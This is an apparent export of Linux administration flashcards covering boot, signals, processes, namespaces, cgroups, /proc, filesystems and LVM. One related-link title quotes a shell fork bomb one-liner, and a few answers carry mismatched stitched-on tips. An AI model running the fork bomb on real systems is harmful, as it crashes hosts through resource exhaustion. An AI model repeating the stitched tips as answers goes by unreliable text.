* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is `mkfs` a frontend for?]]
* [[How do you regenerate the initramfs on RHEL/Fedora vs Debian/Ubuntu?]]
* [[What is `mktemp`?]]
Q: What is the purpose of the <html><code>/boot</code></html> partition?
A: Stores the kernel (vmlinuz), initramfs, and GRUB files. Often a separate partition to ensure the bootloader can access it regardless of the root filesystem type or encryption. Typically 500MB-1GB, formatted as ext4 or xfs.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is initramfs?]]
* [[How does Linux boot, end to end?]]
* [[What can you find in /boot?]]
Q: What does <html><code>grub2-install</code></html> do?
A: Installs the GRUB bootloader to a device's MBR or EFI partition. On BIOS: <html><code>grub2-install /dev/sda</code></html>. On UEFI: installs to the ESP. Must be run after disk replacement or MBR corruption.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is GRUB2's main configuration file?]]
* [[What is GRUB2?]]
* [[What is the ESP?]]
Q: What kernel parameter forces a root password reset?
A: On RHEL: append <html><code>rd.break</code></html> to interrupt in initramfs, then <html><code>mount -o remount,rw /sysroot && chroot /sysroot && passwd root</code></html>. On systems with SELinux: <html><code>touch /.autorelabel</code></html> before rebooting.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does the `rd.break` kernel parameter do?]]
* [[What can you do if you lost/forgot the root password?]]
* [[I have forgotten the root password! What do I do in BSD? What is the purpose of booting…]]
Q: What does <html><code>systemd-analyze</code></html> show?
A: Boot time analysis. <html><code>systemd-analyze</code></html> shows total boot time (firmware, loader, kernel, userspace). <html><code>systemd-analyze blame</code></html> shows per-unit startup times. <html><code>systemd-analyze critical-chain</code></html> shows the critical path.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What command would you use to debug slow boot times and identify which units are taking…]]
* [[What does `systemd-cgtop` show?]]
Q: What is the emergency.target in systemd?
A: A minimal target that provides a root shell with only the root filesystem mounted read-only. Fewer services than rescue.target. Access with <html><code>systemd.unit=emergency.target</code></html> on the kernel command line.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What are systemd targets, and how do they map to SysVinit runlevels?]]
* [[What kernel parameter boots into single-user/rescue mode?]]
* [[What is systemd's role in the boot process?]]
Q: What is the rescue.target in systemd?
A: Equivalent to single-user mode. Starts a minimal system with basic services and a root shell. The root filesystem is mounted read-write. Access with <html><code>systemd.unit=rescue.target</code></html>.
----
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What kernel parameter boots into single-user/rescue mode?]]
* [[What are systemd targets, and how do they map to SysVinit runlevels?]]
* [[What is systemd's role in the boot process?]]
Q: What is a process in Linux?
A: An instance of a running program with its own virtual address space, file descriptors, registers, and kernel metadata stored in a <html><code>task_struct</code></html>. Each process has a unique PID.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is a process, and how do you list processes in Linux?]]
* [[Can you describe how processes are being created?]]
* [[Explain Process Descriptor and Task Structure]]
Q: What is the fork() system call?
A: It creates a new child process that is a near-exact copy of the parent. The child gets a new PID but inherits the parent's memory (via COW), file descriptors, and environment. Fork returns 0 to the child and the child's PID to the parent.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Name one reason for fork() to fail]]
* [[Why running a new program is done using the fork() and exec() system calls? why a diffe…]]
* [[Can you describe how processes are being created?]]
Q: What is the return value of fork()?
A: - On success, the PID of the child process in parent and 0 in child process
** On error, -1 in the parent
Under the hood: fork()=duplicate parent, exec()=replace child memory. fork+exec=launch.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[Explain the fork() system call]]
* [[Why running a new program is done using the fork() and exec() system calls? why a diffe…]]
* [[fork() is the Unix process creation primitive]]
Q: What is the exec() family of system calls?
A: Functions (<html><code>execve</code></html>, <html><code>execvp</code></html>, <html><code>execl</code></html>, etc.) that replace the current process image with a new program. After exec, the PID stays the same but code, data, and stack are replaced.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does the execve() system call do in Linux?]]
* [[What happens during fork() vs exec()?]]
* [[Explain the exec() system call]]
Q: What is the clone() system call?
A: A more flexible version of fork() that allows fine-grained sharing of resources (memory, file descriptors, signal handlers, namespaces) between parent and child. It is the underlying syscall for creating both processes and threads.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[fork() is the Unix process creation primitive]]
* [[Explain the fork() system call]]
* [[What is a thread in Linux?]]
Q: What is PID 1, and why is it special?
A: PID 1 is the init process (systemd on modern systems). It is the ancestor of all user-space processes, adopts orphaned processes, and cannot be killed by signals it does not explicitly handle. If PID 1 dies, the kernel panics.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[systemd as PID 1 controls service lifecycle and resource management on all major Linux distributions]]
* [[What is systemd's role in the boot process?]]
Q: What is a zombie process?
A: A process that has finished execution but whose exit status has not yet been read by its parent via <html><code>wait()</code></html>. It occupies a slot in the process table (shown as state Z) but consumes no other resources.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Linux process state codes and their operational meaning]]
* [[What is the difference between a "Zombie" process and an "Orphan" process?]]
Q: What is an orphan process?
A: A process whose parent has terminated. Orphans are automatically adopted by PID 1 (init/systemd), which will eventually reap their exit status.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the difference between a "Zombie" process and an "Orphan" process?]]
* [[What is a zombie/defunct process?]]
* [[Orphans are adopted by init; zombies are dead and unconditionally unkillable]]
Q: What signal number is SIGHUP?
A: 1. Originally "hangup" — sent when a terminal disconnects. Daemons often repurpose it to trigger config reload.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[SIGHUP, SIGINT, SIGKILL, and SIGTERM POSIX signals. Explain.]]
* [[Signals are the kernel's mechanism for asynchronous process control]]
* [[Pending signals are delivered in numeric order, not queued]]
Q: What signal number is SIGINT?
A: 2. Sent when the user presses Ctrl-C. Default action is to terminate the process.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What signal does the `kill` command send by default, and how does it differ from SIGKILL?]]
* [[What signal number is SIGKILL?]]
* [[SIGHUP, SIGINT, SIGKILL, and SIGTERM POSIX signals. Explain.]]
Q: What signal number is SIGQUIT?
A: 3. Sent by Ctrl-\\. Default action is to terminate and produce a core dump.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What signal number is SIGTERM?]]
* [[What signal number is SIGKILL?]]
* [[What is SIGSEGV?]]
Q: What signal number is SIGKILL?
A: 9. Immediately terminates a process. Cannot be caught, blocked, or ignored.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[SIGHUP, SIGINT, SIGKILL, and SIGTERM POSIX signals. Explain.]]
* [[What signal number is SIGINT?]]
* [[What does `kill 0` do in Linux process management?]]
Q: What signal number is SIGTERM?
A: 15. The default signal sent by <html><code>kill</code></html>. It asks a process to terminate gracefully and can be caught for cleanup.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What signal is used by default when you run 'kill *process id*'?]]
* [[SIGHUP, SIGINT, SIGKILL, and SIGTERM POSIX signals. Explain.]]
* [[What signal number is SIGQUIT?]]
Q: What is SIGSTOP?
A: Signal 19 (on most architectures) that pauses a process. Like SIGKILL, it cannot be caught, blocked, or ignored. SIGCONT (18) resumes a stopped process.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What signal does the `kill` command send by default, and how does it differ from SIGKILL?]]
* [[What signal number is SIGTERM?]]
* [[The signal escalation sequence and critical process lifecycle patterns]]
Q: What are SIGUSR1 and SIGUSR2?
A: Signals 10 and 12 — user-defined signals with no predefined meaning. Applications use them for custom purposes (e.g., log rotation, debug toggling).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Signals are the kernel's mechanism for asynchronous process control]]
* [[What is SIGALRM?]]
Q: What is SIGPIPE?
A: Signal 13, sent when a process writes to a pipe with no readers. Default action is termination. Many applications ignore it and check write return values instead.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is SIGSEGV?]]
* [[What signal number is SIGINT?]]
* [[What is SIGSTOP?]]
Q: What is SIGCHLD?
A: Signal 17, sent to a parent process when a child terminates or stops. Allows the parent to asynchronously reap child exit status.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is SIGSTOP?]]
* [[SIGTERM allows graceful shutdown; SIGKILL forces immediate termination]]
* [[What signal number is SIGKILL?]]
Q: What is SIGALRM?
A: Signal 14, sent when a timer set by <html><code>alarm()</code></html> expires. Used for implementing timeouts.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is SIGSTOP?]]
* [[What are SIGUSR1 and SIGUSR2?]]
* [[What signal number is SIGINT?]]
Q: What is SIGSEGV?
A: Signal 11 — segmentation fault. Sent when a process accesses invalid memory. Default action is termination with core dump.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What are segmentation faults (segfaults), and how can identify what's causing them?]]
* [[What is SIGSTOP?]]
* [[What signal number is SIGQUIT?]]
Q: What are the Linux process states and their codes?
A: R = Running/runnable, S = Interruptible sleep, D = Uninterruptible sleep (usually I/O), Z = Zombie, T = Stopped (signal or debugger), I = Idle kernel thread (not consuming CPU).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Process state D means uninterruptible I/O wait — cannot be killed]]
* [[What is a quick way to check if a process is in uninterruptible sleep (D state) and why…]]
* [[Linux process state codes and their operational meaning]]
Q: What is the D (uninterruptible sleep) state, and why can't you kill processes in it?
A: A process in D state is waiting for I/O completion (e.g., disk, NFS). It cannot be interrupted by signals (not even SIGKILL) because doing so could corrupt kernel data structures. It will exit D state when the I/O completes.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[How do you kill a process in D state?]]
* [[What are the Linux process states and their codes?]]
* [[What are the possible states of a process in Linux?]]
Q: What is a quick way to check if a process is in uninterruptible sleep (D state) and why does it matter?
A: D state processes are stuck waiting for I/O and cannot be killed until the I/O completes.
Quick check:
* <html><code>ps -eo pid,state,comm | grep ' D'</code></html>
* In top/htop: look for 'D' in the S (state) column
* <html><code>cat /proc/<pid>/status | grep State</code></html>
Why D state matters:
* Process is in uninterruptible sleep waiting for I/O (disk, network, etc.)
* SIGKILL (kill -9) will NOT terminate the process
Remember: R=running, S=sleeping, D=uninterruptible(I/O), Z=zombie, T=stopped.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[D-state processes cannot be interrupted, even by kill -9]]
* [[How do you debug a hung process?]]
* [[What is a D-state (uninterruptible sleep) process, and why can't you kill it?]]
Linux process states are R (running, on CPU or in queue), S (sleeping, interruptible, waiting for event but can be signaled), D (sleeping, uninterruptible, stuck on I/O and cannot be signaled), T (stopped by SIGSTOP or SIGTSTP, used for job control and debugging), and Z (zombie, dead process awaiting parent reap). The practical implication of D-state is critical: a process in uninterruptible sleep is unkillable—neither SIGTERM nor SIGKILL will end it. The I/O subsystem must be fixed to unblock it. Zombies consume only a PID table slot and cannot be killed because they are already dead; the parent process must call wait() to reap them. The ps STAT column shows these states plus modifiers (s=session leader, +=foreground, N=low priority, l=multi-threaded). Inspecting /proc/PID/status reveals voluntary vs. nonvoluntary context switches, indicating I/O-bound vs. CPU-bound work.
----
''Sources''
* <html><code>training/library/topics/linux-signals-and-process-control/primer.md</code></html>
''Related atoms''
* [[Process state D means uninterruptible I/O wait — cannot be killed]]
* [[D-state processes cannot be interrupted, even by kill -9]]
* [[What are the Linux process states and their codes?]]
Q: What does the <html><code>nice</code></html> command do?
A: Sets the scheduling priority of a process. Nice values range from -20 (highest priority) to 19 (lowest priority). Default is 0. Only root can set negative nice values.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[How to change the priority of a process? Why would you want to do that?]]
* [[Linux process management system calls]]
* [[What does `renice` do?]]
Process priority is managed via nice values, a scheduling hint to the kernel. The scale runs from -20 (highest priority, CPU-greedy) to +19 (lowest priority, backgrounded). Default is 0. Only root can assign negative nice values; regular users cannot raise their own priority. The <html><code>nice</code></html> command starts a new process at a specified nice value. The <html><code>renice</code></html> command changes a running process's priority by PID, job ID, or user. Use <html><code>ps -o ni</code></html> to inspect the current nice value of a process. Nice values are useful for protecting production workloads from batch or maintenance tasks: run backups and heavy operations at nice +15 or +19 to ensure they don't starve critical services.
----
''Sources''
* <html><code>training/library/topics/linux-signals-and-process-control/primer.md</code></html>
''Related atoms''
* [[How to change the priority of a process? Why would you want to do that?]]
* [[What does `renice` do?]]
* [[Linux process management system calls]]
Q: What does <html><code>renice</code></html> do?
A: Changes the nice value of a running process. Usage: <html><code>renice -n 10 -p <PID></code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Nice values control CPU scheduling priority from -20 to +19]]
* [[What does the `nice` command do?]]
* [[What is process substitution?]]
Q: What is <html><code>ionice</code></html>?
A: Sets the I/O scheduling class and priority of a process. Classes: 1=realtime, 2=best-effort (default), 3=idle. Priorities range from 0 (highest) to 7 (lowest) within classes 1 and 2.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is an I/O scheduler?]]
* [[What does the `nice` command do?]]
* [[Nice values control CPU scheduling priority from -20 to +19]]
Q: What are cgroups?
A: Control Groups — a kernel feature for organizing processes into hierarchical groups and applying resource limits (CPU, memory, I/O, network, PIDs). cgroups v1 uses multiple independent hierarchies; cgroups v2 uses a unified hierarchy.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What are cgroups (control groups) and how does Linux use them for resource limits?]]
* [[What is the key difference between cgroups v1 and v2?]]
Q: What is the key difference between cgroups v1 and v2?
A: v1 has separate hierarchies per resource controller (cpu, memory, blkio, etc.). v2 has a single unified hierarchy where all controllers are managed together, simplifying configuration and avoiding inconsistencies.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What are cgroups?]]
* [[What are cgroups (control groups) and how does Linux use them for resource limits?]]
Q: What are Linux namespaces?
A: Kernel features that isolate and virtualize system resources for groups of processes. Each namespace type provides an independent instance of a global resource.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What are the 8 types of Linux namespaces?]]
* [[Linux namespaces isolate process visibility across seven distinct resource types]]
Q: What types of namespaces are there in Linux?
A: - Process ID namespaces: these namespaces include independent set of process IDs
** Mount namespaces: Isolation and control of mountpoints
** Network namespaces: Isolates system networking resources such as routing table, interfaces, ARP table, etc.
** UTS namespaces: Isolate host and domains
** IPC namespaces: Isolates interprocess communications
** User namespaces: Isolate user and group IDs
** Time namespaces: Isolates time machine
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[What are the 8 types of Linux namespaces?]]
* [[What time namespaces are used for?]]
* [[Name at least five attributes every Linux process has.]]
Q: What are the 8 types of Linux namespaces?
A: Mount (mnt), UTS (hostname), IPC (inter-process communication), Network (net), PID, User (UID/GID mapping), Cgroup, and Time (clock offsets, added in kernel 5.6).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What types of namespaces are there in Linux?]]
* [[What are Linux namespaces?]]
Q: What does the <html><code>unshare</code></html> command do?
A: Creates new namespaces and runs a command in them, without forking. For example, <html><code>unshare --net bash</code></html> starts a shell with its own isolated network namespace.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does the `nsenter` command do?]]
* [[What is `ip netns`?]]
* [[What types of namespaces are there in Linux?]]
Q: What does the <html><code>nsenter</code></html> command do?
A: Enters an existing namespace of a running process. For example, <html><code>nsenter -t <PID> -n bash</code></html> enters the network namespace of process PID.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is `ip netns`?]]
* [[nsenter joins container namespaces from host for tool-free debugging]]
* [[What does the `unshare` command do?]]
Q: What information can you find in <html><code>/proc/PID/status</code></html>?
A: Process name, state, TGID, PID, PPid, UID/GID (real, effective, saved, filesystem), memory usage (VmSize, VmRSS, VmSwap), threads, voluntary/involuntary context switches, capabilities, cgroup, and namespace info.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `/proc/PID/smaps` show?]]
* [[What does `pidstat` show?]]
* [[What kind of information one can find in /proc?]]
Q: What is <html><code>/proc/PID/maps</code></html>?
A: Shows the virtual memory mappings of a process — address ranges, permissions, offsets, device, inode, and mapped file paths. Useful for understanding a process's memory layout.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does /proc/<pid>/fd contain and why is it useful?]]
* [[What is `/proc/self`?]]
* [[What is `/proc/PID/cmdline`?]]
Q: What does <html><code>/proc/PID/smaps</code></html> show?
A: Detailed memory information for each virtual memory area of a process: size, RSS, PSS (proportional set size), shared/private clean/dirty pages, referenced, anonymous, swap. More detailed than <html><code>/proc/PID/maps</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[/proc/PID/smaps shows which memory regions are consuming the most bytes]]
* [[What information can you find in `/proc/PID/status`?]]
* [[What does /proc/<pid>/fd contain and why is it useful?]]
Q: What is <html><code>/proc/PID/fd/</code></html>?
A: A directory containing symbolic links for each open file descriptor of the process. <html><code>ls -la /proc/PID/fd/</code></html> shows what files, sockets, and pipes a process has open.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is `/proc/PID/cmdline`?]]
* [[/proc exposes process details to unprivileged visibility by default]]
* [[What information can you find in `/proc/PID/status`?]]
Q: What does /proc/<pid>/fd contain and why is it useful?
A: It contains symbolic links to every file descriptor the process has open, including files, sockets, and pipes. Useful for debugging what resources a process is using without strace.
Remember: PID 1=init/systemd. $$=current, $PPID=parent. <html><code>pidof name</code></html> finds PIDs.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[What is `/proc/PID/maps`?]]
* [[What is `/proc/PID/cmdline`?]]
* [[/proc exposes process details to unprivileged visibility by default]]
Q: What is the difference between <html><code>nohup</code></html> and <html><code>disown</code></html>?
A: <html><code>nohup</code></html> runs a command immune to SIGHUP with output redirected to nohup.out (used at launch). <html><code>disown</code></html> removes an already-running background job from the shell's job table so it won't receive SIGHUP when the shell exits.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[How do you ensure a process survives terminal logout?]]
* [[What signal number is SIGHUP?]]
Q: Difference between <html><code>nohup</code></html>, <html><code>disown</code></html>, and <html><code>&</code></html>. What happens when using all together?
A: - <html><code>&</code></html> puts the job in the background, that is, makes it block on attempting to read input, and makes the shell not wait for its completion
* <html><code>disown</code></html> removes the process from the shell's job control, but it still leaves it connected to the terminal. One of the results is that the shell won't send it a ''SIGHUP''.
Remember: <html><code>nohup cmd &</code></html> survives logout. Output→nohup.out. Modern: tmux or systemd.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[How do you ensure a process survives terminal logout?]]
* [[SIGHUP, SIGINT, SIGKILL, and SIGTERM POSIX signals. Explain.]]
* [[What happens when you run `:(){ :|:& };:` in a shell?]]
Q: What is the difference between <html><code>screen</code></html> and <html><code>tmux</code></html>?
A: Both are terminal multiplexers. <html><code>tmux</code></html> is more modern with a client-server architecture, better scripting support, and easier keybindings. <html><code>screen</code></html> is older but still widely available. Both allow sessions to persist after disconnection.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is `screen` used for?]]
* [[tmux displaced Screen as the standard terminal multiplexer]]
* [[Difference between `nohup`, `disown`, and `&`. What happens when using all together?]]
Q: What command shows the process tree?
A: <html><code>pstree</code></html> shows processes in a tree hierarchy. <html><code>ps auxf</code></html> also shows a forest view.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[How do you find out what command a running process was started with?]]
* [[What is the difference between `ps aux` and `ps -ef`?]]
* [[What is a process, and how do you list processes in Linux?]]
Q: How do you view the process tree showing parent-child relationships?
A: Use pstree -p to show the full process tree with PIDs. Alternatively, ps auxf or ps -ef --forest shows processes in a hierarchical tree format. This is critical for understanding which process spawned which child.
Remember: <html><code>ps aux</code></html>(BSD, %CPU/%MEM) vs <html><code>ps -ef</code></html>(UNIX, PPID). Both show all processes.
Example: <html><code>ps aux --sort=-%mem | head</code></html> — top memory consumers.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[Process groups and sessions organize signals across process trees]]
* [[How do you find out what command a running process was started with?]]
* [[How do you find all processes owned by a specific user in Linux?]]
Q: What is a thread in Linux?
A: A lightweight process sharing the same address space, file descriptors, and signal handlers with other threads in the same thread group. Created via <html><code>clone()</code></html> with <html><code>CLONE_VM</code></html>, <html><code>CLONE_FILES</code></html>, <html><code>CLONE_SIGHAND</code></html> flags.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the clone() system call?]]
* [[What is the difference between a process and a thread?]]
* [[What is a process in Linux?]]
Q: What is <html><code>/proc/PID/cmdline</code></html>?
A: Contains the command and arguments used to start the process, with arguments separated by null bytes.
----
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is /proc/cmdline?]]
* [[What is `/proc/PID/fd/`?]]
* [[What does /proc/<pid>/fd contain and why is it useful?]]
Q: What filesystem does most RHEL/CentOS/Fedora systems use by default?
A: XFS — chosen for its scalability, performance with large files, and support for online growth. RHEL 7+ uses XFS as default.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[When to choose XFS for data drives]]
* [[What filesystem does Debian/Ubuntu use by default?]]
* [[What is XFS?]]
Q: What filesystem does Debian/Ubuntu use by default?
A: ext4 — the most widely deployed Linux filesystem, known for backward compatibility, reliability, and mature tooling.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What filesystem does most RHEL/CentOS/Fedora systems use by default?]]
* [[What is ext4?]]
* [[Why is ext4 the default filesystem choice for SnapRAID data drives?]]
Q: What is ext4?
A: The fourth extended filesystem — supports volumes up to 1 exabyte, files up to 16TB, extents-based allocation, delayed allocation, journal checksumming, and online defragmentation. Backward compatible with ext2/ext3.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[ext4 vs XFS vs Btrfs: filesystem comparison]]
* [[What filesystem does Debian/Ubuntu use by default?]]
* [[Why is ext4 the default filesystem choice for SnapRAID data drives?]]
Q: What is XFS?
A: A high-performance 64-bit journaling filesystem originally developed by SGI. Known for excellent parallel I/O, allocation group-based design, online growth (but not shrinking), and reflink/COW support.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[When to choose XFS for data drives]]
* [[What filesystem does most RHEL/CentOS/Fedora systems use by default?]]
* [[ext4 vs XFS vs Btrfs: filesystem comparison]]
Q: What is Btrfs?
A: B-tree filesystem — a copy-on-write filesystem with built-in volume management, snapshots, checksumming, compression, RAID, and send/receive for incremental backups. Default on openSUSE and Fedora workstation.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[When would you choose Btrfs?]]
* [[ext4 vs XFS vs Btrfs: filesystem comparison]]
* [[What is `mkfs` a frontend for?]]
Q: What is the ZFS licensing controversy?
A: ZFS is licensed under the CDDL (Common Development and Distribution License), which the FSF considers incompatible with GPLv2. This prevents ZFS from being distributed as part of the Linux kernel. Ubuntu includes it via DKMS; others use OpenZFS as a loadable module.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Linux kernel license: GPLv2 only]]
* [[What is zypper?]]
Q: What is sysfs?
A: A virtual filesystem mounted at <html><code>/sys</code></html> that exports information about kernel objects (devices, drivers, buses, modules) as a structured directory tree with attributes as files.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is /sys/devices/?]]
* [[What is /proc/sys/?]]
* [[What is `sysctl`?]]
Q: What is the purpose of /sys?
A: Virtual filesystem (sysfs) exporting kernel object information about devices, drivers, and buses as a structured hierarchy.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is /sys/devices/?]]
* [[What is /proc/sys/?]]
* [[What is /sys/class/?]]
Q: What is an inode, and what does it store?
A: An index node storing file metadata: file type, permissions, owner UID/GID, size, timestamps (atime, mtime, ctime), hard link count, and pointers to data blocks. It does NOT contain the filename — that's stored in the directory entry.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[What fields are stored in an inode?]]
* [[Which of the following is not included in inode:]]
* [[When is an inode's data actually freed on a Linux filesystem?]]
Q: What is inode exhaustion?
A: Running out of inodes before running out of disk space, preventing creation of new files. Common with filesystems storing millions of tiny files. Check with <html><code>df -i</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is an inode? How to find file's inode number and how can you use it?]]
* [[What command shows inode usage per mounted filesystem?]]
* [[When is an inode's data actually freed on a Linux filesystem?]]
Q: What happens when you delete the target of a symbolic link?
A: The symlink becomes a "dangling" or "broken" link. Accessing it returns ENOENT (No such file or directory).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Hard links vs symbolic links: inode perspective]]
* [[What happens when you delete a hard link?]]
* [[True or False? You can create a soft link between different filesystems.]]
Q: What happens when you delete a hard link?
A: The inode's link count decreases by one. The file data is only freed when the link count reaches zero AND no process has the file open.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Hard links vs symbolic links: inode perspective]]
* [[How does Linux handle deleted-but-open files?]]
* [[What happens when you delete the target of a symbolic link?]]
Q: How do you create an LVM logical volume?
A: <html><code>pvcreate /dev/sdb</code></html> → <html><code>vgcreate myvg /dev/sdb</code></html> → <html><code>lvcreate -L 10G -n mylv myvg</code></html> → <html><code>mkfs.xfs /dev/myvg/mylv</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[LVM three-layer abstraction: PV → VG → LV]]
* [[How do you quickly check the status of LVM physical volumes, volume groups, and logical…]]
* [[To LVM or not to LVM. What benefits does it provide?]]
Q: What is an LVM snapshot?
A: A point-in-time copy of a logical volume using copy-on-write. The snapshot stores only changed blocks, making it space-efficient. Used for backups and testing.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[To LVM or not to LVM. What benefits does it provide?]]
Q: How do LVM snapshots work and when would you use them?
A: LVM snapshots create a point-in-time copy of a logical volume using copy-on-write.
! Create snapshot (allocate space for changes):
lvcreate -s -n snap_data -L 5G /dev/vg0/data
! Mount and access snapshot:
mount /dev/vg0/snap_data /mnt/snap
! Restore from snapshot:
lvconvert --merge /dev/vg0/snap_data
! Requires unmount + reactivation or reboot
! Remove snapshot:
lvremove /dev/vg0/snap_data
COW means only changed blocks consume snapshot space. Size the snapshot for expected change volume — if it fills up, it becomes invalid. Use cases: consistent backups of active databases, safe upgrade rollback, testing changes. For thin snapshots, use thin provisioning for more efficient multi-snapshot scenarios.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-recovery.tsv</code></html>
''Related atoms''
* [[To LVM or not to LVM. What benefits does it provide?]]
* [[LVM (Logical Volume Manager) in Linux]]
Q: What is LVM thin provisioning?
A: A feature allowing LVs to be larger than the actual available storage, with physical space allocated only when data is written. Enables overcommitment and more flexible storage management.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[LVM three-layer abstraction: PV → VG → LV]]
* [[To LVM or not to LVM. What benefits does it provide?]]
